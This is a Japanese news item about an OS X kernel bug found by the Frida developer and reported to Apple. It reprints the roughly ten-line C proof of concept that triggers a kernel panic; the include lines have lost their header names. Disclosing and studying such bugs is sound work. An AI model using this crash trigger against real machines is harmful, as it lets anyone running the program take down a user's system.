最新の「OS X」がわずか10行のCコードでクラッシュしてしまう…そんな衝撃的なCのソースコードが公開されています(Gist、Reddit)。
#include
#include
#include
#include
int
main (int argc, char * argv[])
{
volatile char * library;
const mach_vm_size_t page_size = getpagesize ();
const mach_vm_size_t buffer_size = 3 * page_size;
char buffer[buffer_size];
mach_vm_size_t result_size;
library = (char *) _dyld_get_image_header (1);
mach_vm_protect (mach_task_self (), (mach_vm_address_t) (library + page_size), page_size, FALSE, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY | VM_PROT_EXECUTE);
library[page_size]++;
library[page_size]--;
result_size = 0;
mach_vm_read_overwrite (mach_task_self (), (mach_vm_address_t) library, buffer_size, (mach_vm_address_t) buffer, &result_size);
return 0;
}
発見者はFridaと呼ばれる、プロセスのトレースや関数のフックを行うことができるツールの開発者、Ole André Vadla Ravnås氏。Fridaの使用者から、時折Kernelパニックが発生するとのレポートを受け取り、原因を追求するうちに、Kernelの不具合が原因であることをつきとめました。技術的な詳細はブログにて細かく解説されていてます(システムプログラミングに詳しくないと歯がたたないかもしれませんが…)。
同氏は、この不具合に対応したFrida 1.6.9を間もなくリリースする予定で、Appleに対しても報告済みとのこと(これまでの流れを見るにすぐに修正されないかもしれないとも指摘していますが)。
また、この不具合を再現するためのXocdeプロジェクト「KernelPanic-10LOC」もGitHubで公開されています。